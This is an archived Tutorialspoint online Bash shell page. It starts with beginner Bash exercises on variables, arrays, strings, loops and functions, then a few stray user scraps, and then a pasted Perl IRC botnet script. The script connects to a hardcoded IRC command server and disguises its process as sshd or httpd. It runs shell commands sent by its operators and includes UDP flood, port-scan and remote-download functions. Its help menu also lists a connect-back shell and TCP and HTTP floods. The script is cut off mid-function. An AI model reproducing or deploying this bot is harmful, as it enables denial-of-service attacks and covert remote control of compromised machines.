Please note, this is a STATIC archive of website www.tutorialspoint.com from 11 May 2019, cach3.com does not collect or store any user information, there is no "phishing" involved.
Tutorialspoint

$ls ch*.doc

$ls ch*.doc

Execute Bash Shell Online

# Hello World Program in Bash Shell

echo "Hello World!"

price_per_apple=5
myfirstletters=ABC
greetings='Hello     World'

echo "price per apple is : $price_per_apple"
echo "price per apple is : \$$price_per_apple"
echo "first 10 letters are : ${myfirstletters}DEFGHIJ"
echo $greetings
echo "$greetings"


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------

BIRTHDATE="Jan 1 2000"
Presents=10
BIRTHDAY=`date -d "$BIRTHDATE" +%A`

if [ "$BIRTHDATE" == "Jan 1 2000" ];then
    echo "Birthdate is correct"
fi
if [ $Presents == 10 ];then
    echo "no of present is correct"
fi
if [ $BIRTHDAY == "Saturday" ];then
    echo "you are right,birthday is on $BIRTHDAY"
fi


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


my_array=(apple banana "Fruit Basket" Grapes)
echo ${#my_array[@]}
echo ${my_array[2]}
echo ${my_array[@]}
echo ${my_array[${#my_array[@]}-1]}
my_array[4]="Mango"
echo ${#my_array[@]}
echo ${my_array[@]}


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


Names=(John Eric Jessica)
Numbers=(1 2 3)
Strings=(Hello World)
no_of_names=${#Names[@]}
second_name=${Names[1]}

echo ${Numbers[@]}
echo ${Strings[@]}
echo "Second Name is : " $second_name


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


A=3
B=$((100 * $A + 5))
echo $B


COST_PINEAPPLE=50
COST_BANANA=4
COST_WATERMELON=23
COST_BASKET=1
TOTAL=$(($COST_PINEAPPLE + $COST_BANANA + $COST_WATERMELON + $COST_BASKET))
echo "Total Cost is $TOTAL"


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


STRING="this is a string"
echo ${#STRING}  


STRING="this is a string"
SUBSTRING="a"
expr index "$STRING" "$SUBSTRING" 


STRING="this is a string"
POS=1
LEN=3
echo ${STRING:$POS:$LEN}


STRING="to be or not to be"
ab=${STRING[@]/be/eat}
echo $ab


STRING="to be or not to be"
ab=${STRING[@]//be/eat}
echo $ab


STRING="to be or not to be"
echo ${STRING[@]// not/}


STRING="to be or not to be"
echo ${STRING[@]/to be/eat now}


STRING="to be or not to be"
echo ${STRING[@]/%be/eat}


STRING="to be or not to be"
echo ${STRING[@]/%be/be on $(date +%Y-%m-%d)} 


BUFFETT="Life is like a snowball. The important thing is finding wet snow and a really long hill."

    # write your code here
    ISAY=$BUFFETT
    change1=${ISAY[@]/snow/foot}
    echo "change1 is : $change1"
    change2=${change1[@]//snow/}
    echo "change2 is : $change2"
    change3=${change2[@]/finding/getting}
    echo "change3 is : $change3"
    loc=`expr index "$change3" 'w'`
    echo "loc is : $loc"
    ISAY=${change3::$loc+2}

# Test code - do not modify
echo "Warren Buffett said:"
echo $BUFFETT
echo "and I say:"
echo "$ISAY"


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


NAME="John"
if [ "$NAME" = "John" ]; then
    echo "my name is indeed John"
fi

NAME="Bill"
if [ "$NAME" == "John" ]; then
    echo "My name is John"
else
    echo "My name is not John"
fi


NAME="GEORGE"
if [ "$NAME" = "JOHN" ]; then
    echo "my name is JOHN"
elif [ "$NAME" = "GEORGE" ]; then
    echo "my name is George"
else 
    echo "my name is not John or George"
fi


mycase=1
case $mycase in
    1) echo "it is bash";;
    2) echo "it is perl";;
    3) echo "it is python";;
    4) exit
esac


NUMBER=16
APPLES=16
KING="LUIS"
if [ $NUMBER -gt 15 ] ; then
  echo 1
fi
if [ $NUMBER -eq $APPLES ] ; then
  echo 2
fi
if [[ ($APPLES -eq 12) || ("$KING" = "LUIS") ]] ; then
  echo 3
fi
if [[ $(($NUMBER + $APPLES)) -le 32 ]] ; then
  echo 4
fi


NAMES=(Joe Jenny Sara Tony)
for N in ${NAMES[@]} ; do
    echo "my name is : $N"
done


COUNT=4
while [ $COUNT -gt 0 ]; do
    echo "Value of count is : $COUNT"
    COUNT=$(($COUNT - 1))
done


COUNT=1
until [ $COUNT -gt 5 ]; do
    echo "count is : $COUNT"
    COUNT=$((COUNT + 1))
done


COUNT=0
while [ $COUNT -ge 0 ]; do
    echo "Count is jay : $COUNT"
    COUNT=$(($COUNT+1))
    if [ $COUNT -ge 5 ]; then
        break
    fi
done


COUNT=0
while [ $COUNT -lt 10 ]; do
    COUNT=$(($COUNT+1))
    if [ $(($COUNT % 2)) = 0 ]; then
        echo "Even numbers are $COUNT"
        continue
    fi
done


NUMBERS=(951 402 984 651 360 69 408 319 601 485 980 507 725 547 544 615 83 165 141 501 263 617 865 575 219 390 237 412 566 826 248 866 950 626 949 687 217 815 67 104 58 512 24 892 894 767 553 81 379 843 831 445 742 717 958 609 842 451 688 753 854 685 93 857 440 380 126 721 328 753 470 743 527)
for num in ${NUMBERS[@]}; do
    if [ $num == 237 ]; then
        break;
    elif [ $(($num % 2)) == 0 ]; then
        echo "Even number is : $num"
    fi
done


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


function func1 {
    echo "Function1"
}
function func2 {
    echo "$1,$2"
}
function func3 {
    echo "$(($1 + $2))"
}

func1
func2 "Function2" "Function3"
func3 10 2


function cal {
    a=$1
    signn=$2
    b=$3
      if [ $signn == "plus" ]; then
        echo "$a + $b = $(($a+$b))"
      elif [ $signn == "minus" ]; then
        echo "$a - $b = $(($a-$b))"
      elif [ $signn == "multiply" ]; then
        echo "$a * $b = $(($a*$b))"
      fi
}
cal 22 plus 11
cal 22 minus 11
cal 2 multiply 4


#-------------------------------------------------------------
echo""
echo""
#-------------------------------------------------------------


filename="sample.txt"
if [ -e $filename ]
    

basta

# Hello World Program in Bash Shell

echo "Hello World!"

:q!

Q1.sh


echo "Hello World!"
echo "HEllo"

Haroon

# Hello World Program in Bash Shell

echo "Hello World!"

asad

# Hello World Program in Bash Shell
$a
a=9

echo $a

hello

cat > hello
dwdwdwdwqdsadsadsd
ssdsdsd
sdd
dwd
sdd

dadsa

#!/usr/bin/perl


######################################################################################################################
## [ Channel ] #################### [ Flood ] ################################## [ Utils ] ###########################
######################################################################################################################
##  !u @join <#channel>	         ##  !u @udp1 <ip> <port> <time>              ##  !u @cback <ip> <port>             ##
##  !u @part <#channel>          ##  !u @udp2 <ip> <packet size> <time>       ##  !u @downlod <url+path> <file>     ##
##  !u !uejoin <#channel>        ##  !u @udp3 <ip> <port> <time>              ##  !u @portscan <ip>                 ##
##  !u !op <channel> <nick>      ##  !u @tcp <ip> <port> <packet size> <time> ##  !u @mail <subject> <sender>       ##
##  !u !deop <channel> <nick>    ##  !u @http <site> <time>                   ##           <recipient> <message>    ##
##  !u !voice <channel> <nick>   ##                                           ##  !u pwd;uname -a;id <for example>  ##
##  !u !devoice <channel> <nick> ##  !u @ctcpflood <nick>                     ##  !u @port <ip> <port>              ##
##  !u !nick <newnick>           ##  !u @msgflood <nick>                      ##  !u @dns <ip/host>                 ##
##  !u !msg <nick>               ##  !u @noticeflood <nick>                   ##                                    ##
##  !u !quit                     ##                                           ##                                    ##
##  !u !uaw                      ##                                           ##                                    ##
##  !u @die                      ##                                           ##                                    ##
##                               ##                                           ##                                    ##
######################################################################################################################
######################################################################################################################

#############################
##### [ Configuration ] #####
#############################

my @rps = ("/usr/local/apache/bin/httpd -DSSL",
		   "/usr/sbin/httpd -k start -DSSL",
           "/usr/sbin/httpd",
		   "/usr/sbin/sshd -i",
		   "/usr/sbin/sshd",
	       "/usr/sbin/sshd -D",
           "/usr/sbin/apache2 -k start",
	       "/sbin/syslogd",
	       "/sbin/klogd -c 1 -x -x",
		   "/usr/sbin/acpid",
		   "/usr/sbin/cron");
my $process = $rps[rand scalar @rps];

my @rversion = ("\001VERSION - unknown command.\001",
				"\001mIRC v5.91 K.Mardam-Bey\001",
				"\001mIRC v6.2 Khaled Mardam-Bey\001",
				"\001mIRC v6.03 Khaled Mardam-Bey\001",
				"\001mIRC v6.14 Khaled Mardam-Bey\001",
				"\001mIRC v6.15 Khaled Mardam-Bey\001",
				"\001mIRC v6.16 Khaled Mardam-Bey\001",
				"\001mIRC v6.17 Khaled Mardam-Bey\001",
				"\001mIRC v6.21 Khaled Mardam-Bey\001",
				"\001mIRC v6.31 Khaled Mardam-Bey\001",
				"\001mIRC v7.15 Khaled Mardam-Bey\001");
my $vers = $rversion[rand scalar @rversion];

my @rircname = ("[DDos]TLH");

my $ircname = $rircname[rand scalar @rircname];

## my @rrealname = ("4,1[ FLOOD start HACKED ]",
## 				    "4,1 /!\ FLOOD start HACKED /!\ ",
##				    "12,1<///8,1///4,1###>",
##                  "2,1---=== 4,1 FLOOD start HACKED 2,1===---");
## chop (my $realname = $rrealname[rand scalar @rrealname]);

chop (my $realname = $rircname[rand scalar @rircname]);

## my @nickname = ("Owner Bot");
## my $nick =$nickname[rand scalar @nickname];

my $nick =$rircname[rand scalar @rircname];

$server = '158.69.205.91' unless $server;
my $port = '1337';

my $linas_max='8';
my $sleep='5';

my $homedir = "/tmp";
my $version = 'FLOOD Perl Bot v1.0';

my @admins = ("Sapphire","SmoK","EnDeR","ByTLH");
my @hostauth = ("Sapphirehost");
my @channels = ("#TLH1337");

my $pacotes = 1;

#################################################################
##### [ Stop Editing if you dont know what are you doing. ] #####
#################################################################

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;

chdir("$homedir");

$server="$ARGV[0]" if $ARGV[0];
$0="$process"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Can't fork in background: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
    print $IRC_cur_socket "$_[0]\n";
  }
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;
  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}

sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}


sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  $AGENT = "get-minimal";
  $VERSION = "20000118";
  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                   PeerPort => $port,
                                   Proto   => 'tcp',
                                   Timeout  => 60) || return;
  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0\015\012"
              . "Host: $netloc\015\012"
              . "User-Agent: $AGENT/$VERSION/u\015\012";
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  $request .= "\015\012";
  print $sock $request;

  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") {
      $b1 = $buf;
      $buf =~ s/.+?\015?\012\015?\012//s;
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);
  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }

  return $buf;
}

sub conectar {
  my $meunick = $_[0];
  my $server_con = $_[1];
  my $port_con = $_[2];
  my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$server_con",
  PeerPort=>$port_con) or return(1);
  if (defined($IRC_socket)) {
    $IRC_cur_socket = $IRC_socket;
    $IRC_socket->autoflush(1);
    $sel_cliente->add($IRC_socket);
    $irc_servers{$IRC_cur_socket}{'host'} = "$server_con";
    $irc_servers{$IRC_cur_socket}{'port'} = "$port_con";
    $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
    $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
    nick("$meunick");
    sendraw("USER $ircname ".$IRC_socket->sockhost." $server_con :$realname");
    sleep 1;
  }
}

my $line_temp;
while( 1 ) {
  while (!(keys(%irc_servers))) { conectar("$nick", "$server", "$port"); }
  delete($irc_servers{''}) if (defined($irc_servers{''}));
  my @ready = $sel_cliente->can_read(0);
  next unless(@ready);
  foreach $fh (@ready) {
    $IRC_cur_socket = $fh;
    $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
    $nread = sysread($fh, $msg, 4096);
    if ($nread == 0) {
      $sel_cliente->remove($fh);
      $fh->close;
      delete($irc_servers{$fh});
    }
    @lines = split (/\n/, $msg);
    for(my $c=0; $c<= $#lines; $c++) {
      $line = $lines[$c];
      $line=$line_temp.$line if ($line_temp);
      $line_temp='';
      $line =~ s/\r$//;
      unless ($c == $#lines) {
        parse("$line");
        } else {
        if ($#lines == 0) {
          parse("$line");
          } elsif ($lines[$c] =~ /\r$/) {
          parse("$line");
          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
          parse("$line"); 
        } else {
      $line_temp = $line;
        }
      }
    }
  }
}

sub parse {
  my $servarg = shift;
  if ($servarg =~ /^PING \:(.*)/) {
    sendraw("PONG :$1");
    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
    if ($args =~ /^\001VERSION\001$/) {
      	 notice("$pn", "".$vers."");
    }
	if (grep {$_ =~ /^\Q$hostmask\E$/i } @hostauth) {
    if (grep {$_ =~ /^\Q$pn\E$/i } @admins ) {
    if ($onde eq "$meunick"){
    shell("$pn", "$args");
  }
  if ($args =~ /^(\Q$meunick\E|\!u)\s+(.*)/ ) {
    my $natrix = $1;
    my $arg = $2;
    if ($arg =~ /^\!(.*)/) {
      ircase("$pn","$onde","$1");
      } elsif ($arg =~ /^\@(.*)/) {
      $ondep = $onde;
      $ondep = $pn if $onde eq $meunick;
      bfunc("$ondep","$1");
      } else {
      shell("$onde", "$arg");
    }
  }
}
}
}

elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  if (lc($1) eq lc($meunick)) {
  $meunick=$4;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  }
  } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  nick("$meunick-".int rand(9999));
  } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  $meunick = $2;
  $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  foreach my $canal (@channels) {
	sendraw("MODE $nick +x");
    sendraw("JOIN $canal");
	sendraw("PRIVMSG $canal :4,1 [FLOOD Perl Bot] 9,1Invited By The Legendary Hackers");
}
}
}

sub bfunc {
my $printl = $_[0];
my $funcarg = $_[1];
  if (my $pid = fork) {
  waitpid($pid, 0);
  } else {
  if (fork) {
  exit;
  } else {
###########################
##### [ Help Module ] #####
###########################

if ($funcarg =~ /^help/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1FLOOD PerlBot Main Help:  ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1system              ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1version             ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1channel             ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1flood               ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1utils               ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1======================= ");
}

if ($funcarg =~ /^system/) {
	$uptime=`uptime`;
	$ownd=`pwd`; 
	$id=`id`;
	$uname=`uname -srp`;
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1Bot Configuration:  ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Server       : 12$server ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Port         : 12$port ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Channels     : 12@channels ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uname -a     : 12$uname ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*uptime       : 12$uptime ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*FakeProcess  : 12$process ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ProcessPID   : 12$$ ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*ID           : 12$id ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1*Own Dir      : 12$ownd ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [System] 9,1=================== ");
}

if ($funcarg =~ /^version/){
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1Bot Informations:                  ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Version : 12$version   ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Creator : 12FLOOD             ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1*Bot Year    : 122012                ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Version] 9,1================================== ");
}

if ($funcarg =~ /^flood/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1FLOOD PerlBot Flood Help: ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time>               ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time>        ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time>               ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time>  ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time>                    ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick>                      ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick>                       ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick>                    ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
}

if ($funcarg =~ /^channel/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1FLOOD PerlBot Channel Help:     ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1join <channel>            ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1part <channel>            ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1rejoin <channel>          ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1op <channel> <nick>       ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick>     ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick>    ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick>  ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick>            ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick>                ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit                      ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die                       ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= ");
}

if ($funcarg =~ /^utils/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1FLOOD PerlBot Utils Help:                            ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port>                              ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file>                     ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message>  ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip>                                       ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port>                               ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip>                                  ");	
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example)                               ");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== ");
}

#########################
##### [ Functions ] #####
#########################

if ($funcarg =~ /^die/) {
	sendraw($IRC_cur_socket, "QUIT :");
	$killd = "kill -9 ".fork;
	system (`$killd`);
}
###########	
if ($funcarg =~ /^join (.*)/) {
	sendraw($IRC_cur_socket, "JOIN ".$1);
}

if ($funcarg =~ /^part (.*)/) {
	sendraw($IRC_cur_socket, "PART ".$1);
}
###########
if ($funcarg =~ /^portscan (.*)/) {
  my $hostip="$1";
  my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533");
  my (@aberta, %porta_banner);
  sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. ");
  foreach my $porta (@portas)  {
    my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
    if ($scansock) {
      push (@aberta, $porta);
      $scansock->close;
    }
  }
  if (@aberta) {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta ");
    } else {
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. ");
  }
}
##############
if ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
	getstore("$1", "$2");
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 ");
}
##############
if ($funcarg =~ /^dns\s+(.*)/){ 
	my $nsku = $1;
	$mydns = inet_ntoa(inet_aton($nsku));
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns ");
}
##############
if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) {
	my $hostip= "$1";
	my $portsc= "$2";
	my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7);
	if ($scansock) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. ");
	}
	else {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. ");
	}
}
##############
if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) {
    return unless $pacotes;
    socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
    my $alvo=inet_aton("$1");
    my $porta = "$2";
    my $dtime = "$3";
    my $pacote;
    my $pacotese;
	my $size = 0;
    my $fim = time + $dtime;
    my $pacota = 1;
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FLOOD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
	while (($pacota == "1") && ($pacotes == "1")) {
            $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
            $pacote = $size ? $size : int(rand(1024-64)+64) ;
            $porta = int(rand 65000) +1 if ($porta == "0");
            #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo));
            send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo));
            }
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 FLOOD] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. ");
}
##############
if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) {
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FLOOD] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. ");
	my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3");
	$dtime = 1 if $dtime == 0;
	my %bytes;
	$bytes{igmp} = $2 * $pacotes{igmp};
	$bytes{icmp} = $2 * $pacotes{icmp};
	$bytes{o} = $2 * $pacotes{o};
	$bytes{udp} = $2 * $pacotes{udp};
	$bytes{tcp} = $2 * $pacotes{tcp};
	sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 FLOOD] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. ");
}
##############
if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) {
    return unless $pacotes;
    socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
    my $alvo=inet_aton("$1");
    my $porta = "$2";
    my $dtime = "$3";
    my $pacote;
    my $pacotese;
    my $fim = time + $dtime;
    my $pacota = 1;
    sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 FLOOD] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. ");
	while (($pacota == "1") && ($pacotes == "1")) {
            $pacota = 0 if ((time >= $fim) && ($dtime != "0"));
            $pacote= $rand x $rand x $rand;
            $porta = int(rand 65000) +1 if ($porta == "0");
            send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
            }
